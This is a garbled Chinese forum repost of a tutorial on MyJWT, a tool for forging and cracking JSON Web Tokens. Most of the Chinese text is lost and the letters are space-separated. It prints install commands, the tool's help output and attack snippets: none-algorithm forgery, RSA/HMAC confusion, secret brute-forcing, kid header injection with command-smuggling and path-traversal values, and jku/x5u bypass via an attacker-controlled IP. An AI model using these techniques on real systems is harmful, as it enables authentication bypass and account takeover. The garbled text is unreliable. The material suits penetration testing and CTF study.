[21836] 2021-04-03_如何使用MyJWT对JWT进行破解和漏洞测试

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2021-04-03_如何使用MyJWT对JWT进行破解和漏洞测试 使 M y J W T J W T L e m o n S e c   2 0 2 1 - 0 4 - 0 3 F r e e B u f M y J W T M y J W T M y J W T C T F J S O N   W e b   T o k e n J W T J W T J W T H e a d e r / P a y l o a d R S A / H M A C 使 J W T 使 J W T K i d J k u X 5 u M y J W T M y J W T 广 使 p i p D o c k e r M y J W T p i p   i n s t a l l   m y j w t d o c k e r   r u n   - i t   d o c k e r . p k g . g i t h u b . c o m / m b o u a m a m a / m y j w t / m y j w t : l a t e s t   m y j w t #   d o c k e r   r u n   - v   $ ( p w d ) / w o r d l i s t : / h o m e / w o r d l i s t /     - i t   d o c k e r . p k g . g i t h u b . c o m / m b o u a m a m a / m y j w t / m y j w t : l a t e s t   m y j w t #   W i n d o w s
M y J W T 广 使 g i t B l a c k A r c h M y J W T 使 使 d o c k e r   r u n   - v   % C D % / w o r d l i s t : / h o m e / w o r d l i s t /     - i t   d o c k e r . p k g . g i t h u b . c o m / m b o u a m a m a / m y j w t / m y j w t : l a t e s t   m y j w t g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T . g i t c d   . / M y J W T p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t p y t h o n   M y J W T / m y j w t _ c l i . p y   - - h e l p p a c m a n   - S   m y j w t $   m y j w t   - - h e l p U s a g e :   m y j w t   [ O P T I O N S ]   J W T     T h i s   c l i   i s   f o r   p e n t e s t e r s ,   C T F   p l a y e r s ,   o r   d e v .     Y o u   c a n   m o d i f y   y o u r   j w t ,   s i g n ,   i n j e c t   , e t c . . .     F u l l   d o c u m e n t a t i o n   i s   a t   h t t p : / / m y j w t . r e a d t h e d o c s . i o .     I f   y o u   s e e   p r o b l e m s   o r   e n h a n c e m e n t   s e n d   a n   i s s u e . I   w i l l   r e s p o n d   a s   s o o n   a s   p o s s i b l e .     E n j o y   : )     A l l   n e w   j w t   w i l l   b e   c o p y   t o   t h e   c l i p b o a r d . O p t i o n s :     - - v e r s i o n                                         S h o w   t h e   v e r s i o n   a n d   e x i t .     - - f u l l - p a y l o a d   T E X T                     N e w   p a y l o a d   f o r   y o u r   j w t . J s o n   f o r m a t   R e q u i r e d .     - h ,   - - a d d - h e a d e r   T E X T                 A d d   a   n e w   k e y ,   v a l u e   t o   y o u r   j w t   h e a d e r ,   i f   k e y                                                               i s   p r e s e n t   o l d   v a l u e   w i l l   b e   r e p l a c e d . F o r m a t :                                                               k e y = v a l u e .     - p ,   - - a d d - p a y l o a d   T E X T               A d d   a   n e w   k e y ,   v a l u e   t o   y o u r   j w t   p a y l o a d ,   i f                                                               k e y   i s   p r e s e n t   o l d   v a l u e   w i l l   b e                                                               r e p l a c e d . F o r m a t :   k e y = v a l u e .     - - s i g n   T E X T                                     S i g n   Y o u r   j w t   w i t h   k e y   g i v e n .
    - - v e r i f y   T E X T                                 v e r i f y   y o u r   k e y .     - n o n e ,   - - n o n e - v u l n e r a b i l i t y     C h e c k   N o n e   A l g   v u l n e r a b i l i t y .     - - h m a c   P A T H                                     C h e c k   R S / H M A C   A l g   v u l n e r a b i l i t y .     - - b r u t e f o r c e   P A T H                         B r u t e f o r c e   t o   g u e s s   t h e   s e c r e t   u s e d   t o   s i g n   t h e                                                               t o k e n .     - c ,   - - c r a c k   T E X T                           r e g e x   t o   i t e r a t e   a l l   s t r i n g   p o s s i b i l i t i e s   t o                                                               g u e s s   t h e   s e c r e t   u s e d   t o   s i g n   t h e   t o k e n .     - - k i d   T E X T                                       K i d   I n j e c t i o n   s q l     - - j k u   T E X T                                       J k u   H e a d e r   t o   b y p a s s   a u t h e n t i c a t i o n     - - x 5 u   T E X T                                       X 5 u   H e a d e r   t o   b y p a s s   a u t h e n t i c a t i o n     - - c r t   T E X T                                       F o r   x 5 c H e a d e r ,   f o r c e   c r t   f i l e     - - k e y   T E X T                                       F o r   j k u   o r   x 5 c   H e a d e r ,   f o r c e   p r i v a t e   k e y   t o                                                               y o u r   k e y   f i l e     - - f i l e   T E X T                                     F o r   j k u   H e a d e r   a n d   x 5 u   H e a d e r ,   f o r c e   f i l e   n a m e     - - p r i n t                                             P r i n t   D e c o d e d   J W T     - u ,   - - u r l   T E X T                               U r l   t o   s e n d   y o u r   j w t .     - m ,   - - m e t h o d   T E X T                         M e t h o d   u s e   f o r   s e n d   r e q u e s t   t o   u r l . ( D e f a u l t                                                               G E T ) .     - d ,   - - d a t a   T E X T                             D a t a   s e n d   t o   y o u r   u r l . F o r m a t :   k e y = v a l u e .   i f                                                               v a l u e   =   M Y _ J W T   v a l u e   w i l l   b e   r e p l a c e   b y   n e w                                                               j w t .     - c ,   - - c o o k i e s   T E X T                       C o o k i e s   t o   s e n d   t o   y o u r   u r l . F o r m a t :   k e y = v a l u e .                                                               i f   v a l u e   =   M Y _ J W T   v a l u e   w i l l   b e   r e p l a c e   b y   n e w                                                               j w t .     - - h e l p                                               S h o w   t h i s   m e s s a g e   a n d   e x i t .
J W T f u l - p a y l o a d J S O N { u s e r :   a d m i n } J W T P a y l o a d - h ,   a d d - h e a d e r k e y = v a l u e u s e r = a d m i n J W T   H e a d e r - p ,   a d d - p a y l o a d k e y = v a l u e u s e r = a d m i n J W T   P a y l o a d J W T s i g n t e x t m y s e c r e t k e y 使 J W T v e r i f y t e x t m y s e c r e t k e y - n o n e ,   n o n e - v u l n e r a b i l i t y N o t h i n g N o n e   A l g h m a c P A T H . / p u b l i c . p e m R S / H M A C   A l g 使 J W T b r u t e f o r c e P A T H . / w o r d l i s t / b i g . t x t 使 t x t c r a c k R E G E X [ a - z ] { 4 } k i d t e x t 0 0 ;   e c h o   / e t c / . p a s s w d K i d S Q L j k u t e x t M Y P U B L I C I P J k u   H e a d e r x 5 u t e x t M Y P U B L I C I P X 5 u J W T - u ,   u r l u r l h t t p : / / c h a l l e n g e 0 1 . r o o t - m e . o r g / w e b - s e r v e u r / c h 5 9 / a d m i n J W T U R L - m ,   m e t h o d t e x t P O S T J W T 使 G E T - d ,   d a t a k e y = v a l u e s e c r e t = M Y _ J W T k e y = v a l u e - c ,   c o o k i e s k e y = v a l u e s e c r e t = M Y _ J W T C o o k i e s k e y = v a l u e c r t P A T H . / p u b l i c . c r t x 5 c H e a d e r , k e y P A T H . / p r i v a t e . p e m j k u x 5 c   H e a d e r f i l e t e x t m y f i l e j k u   H e a d e . j s o n p r i n t N o t h i n g J W T h e l p N o t h i n g 退 v e r s i o n N o t h i n g M y j w t 使 使 J W T
h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 1 - m o d i f y - j w t / m o d i f y - j w t . p y N o n e - V u l n e r a b i l i t y h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 2 - n o n e - v u l n e r a b i l i t y / n o n e - v u l n e r a b i l i t y . p y h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 3 - s i g n - k e y / s i g n - k e y . p y m y j w t   Y O U R _ J W T   - - a d d - p a y l o a d   " u s e r n a m e = a d m i n "   - - a d d - h e a d e r   " r e f r e s h = f a l s e " f r o m   m y j w t . m o d i f y _ j w t   i m p o r t   a d d _ h e a d e r ,   c h a n g e _ p a y l o a d f r o m   m y j w t . u t i l s   i m p o r t   j w t _ t o _ j s o n ,   S I G N A T U R E ,   e n c o d e _ j w t j w t _ j s o n   =   j w t _ t o _ j s o n ( j w t ) j w t _ j s o n   =   a d d _ h e a d e r ( j w t _ j s o n ,   { " k i d " :   " 0 0 1 " } ) j w t _ j s o n   =   c h a n g e _ p a y l o a d ( j w t _ j s o n ,   { " u s e r n a m e " :   " a d m i n " } ) j w t   =   e n c o d e _ j w t ( j w t _ j s o n )   +   " . "   +   j w t _ j s o n [ S I G N A T U R E ] m y j w t   Y O U R _ J W T   - - n o n e - v u l n e r a b i l i t y f r o m   m y j w t . u t i l s   i m p o r t   j w t _ t o _ j s o n ,   S I G N A T U R E ,   e n c o d e _ j w t f r o m   m y j w t . v u l n e r a b i l i t i e s   i m p o r t   n o n e _ v u l n e r a b i l i t y j w t _ j s o n   =   j w t _ t o _ j s o n ( j w t ) j w t   =   n o n e _ v u l n e r a b i l i t y ( e n c o d e _ j w t ( j w t _ j s o n )   +   " . "   +   j w t _ j s o n [ S I G N A T U R E ] ) m y j w t   Y O U R _ J W T   - - s i g n   Y O U R _ K E Y f r o m   m y j w t . m o d i f y _ j w t   i m p o r t   s i g n a t u r e f r o m   m y j w t . u t i l s   i m p o r t   j w t _ t o _ j s o n k e y   =   " t e s t " j w t   =   s i g n a t u r e ( j w t _ t o _ j s o n ( j w t ) ,   k e y )
h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 4 - b r u t e - f o r c e / b r u t e - f o r c e . p y J W T R S A / H M A C h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 5 - r s a - h m a c - c o n f u s i o n / r s a - h m a c - c o n f u s i o n . p y K i d m y j w t   Y O U R _ J W T   - - b r u t e f o r c e   P A T H f r o m   m y j w t . v u l n e r a b i l i t i e s   i m p o r t   b r u t e f o r c e _ w o r d l i s t w o r d l i s t   =   " . . / . . / w o r d l i s t / c o m m o n _ p a s s . t x t " k e y   =   b r u t e f o r c e _ w o r d l i s t ( j w t ,   w o r d l i s t ) m y j w t   Y O U R _ J W T   - - c r a c k   R E G E X m y j w t   Y O U R _ J W T   - - h m a c   F I L E f r o m   m y j w t . v u l n e r a b i l i t i e s   i m p o r t   c o n f u s i o n _ r s a _ h m a c f i l e   =   " p u b l i c . p e m " j w t   =   c o n f u s i o n _ r s a _ h m a c ( j w t ,   f i l e ) m y j w t   Y O U R _ J W T   - - k i d   I N J E C T I O N f r o m   m y j w t . m o d i f y _ j w t   i m p o r t   s i g n a t u r e f r o m   m y j w t . u t i l s   i m p o r t   j w t _ t o _ j s o n f r o m   m y j w t . v u l n e r a b i l i t i e s   i m p o r t   i n j e c t _ s q l _ k i d i n j e c t i o n   =   " . . / . . / . . / . . / . . / . . / d e v / n u l l " s i g n   =   " " j w t   =   i n j e c t _ s q l _ k i d ( j w t ,   i n j e c t i o n ) j w t   =   s i g n a t u r e ( j w t _ t o _ j s o n ( j w t ) ,   s i g n )
h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 6 - k i d - i n j e c t i o n / k i d - i n j e c t i o n . p y J W T J k u h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 7 - j k u - b y p a s s / j k u - b y p a s s . p y X 5 U h t t p s : / / g i t h u b . c o m / m B o u a m a m a / M y J W T / b l o b / m a s t e r / e x a m p l e s / 0 8 - x 5 u - b y p a s s / x 5 u - b y p a s s . p y L e m o n S e c m y j w t   Y O U R _ J W T   - u   Y O U R _ U R L   - c   " j w t = M Y _ J W T "   - - n o n - v u l n e r a b i l i t y   - - a d d - p a y l o a d   " u s e r n a m e = a d m i n " m y j w t   Y O U R _ J W T   - - j k u   Y O U R _ U R L f r o m   m y j w t . v u l n e r a b i l i t i e s   i m p o r t   j k u _ v u l n e r a b i l i t y n e w _ j w t   =   j k u _ v u l n e r a b i l i t y ( j w t = j w t ,   u r l = " M Y P U B L I C _ I P " ) p r i n t ( j w t ) m y j w t   Y O U R _ J W T   - - x 5 u   Y O U R _ U R L f r o m   m y j w t . v u l n e r a b i l i t i e s   i m p o r t   x 5 u _ v u l n e r a b i l i t y n e w J w t   =   x 5 u _ v u l n e r a b i l i t y ( j w t = j w t ,   u r l = " M Y P U B L I C _ I P " ) p r i n t ( j w t )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则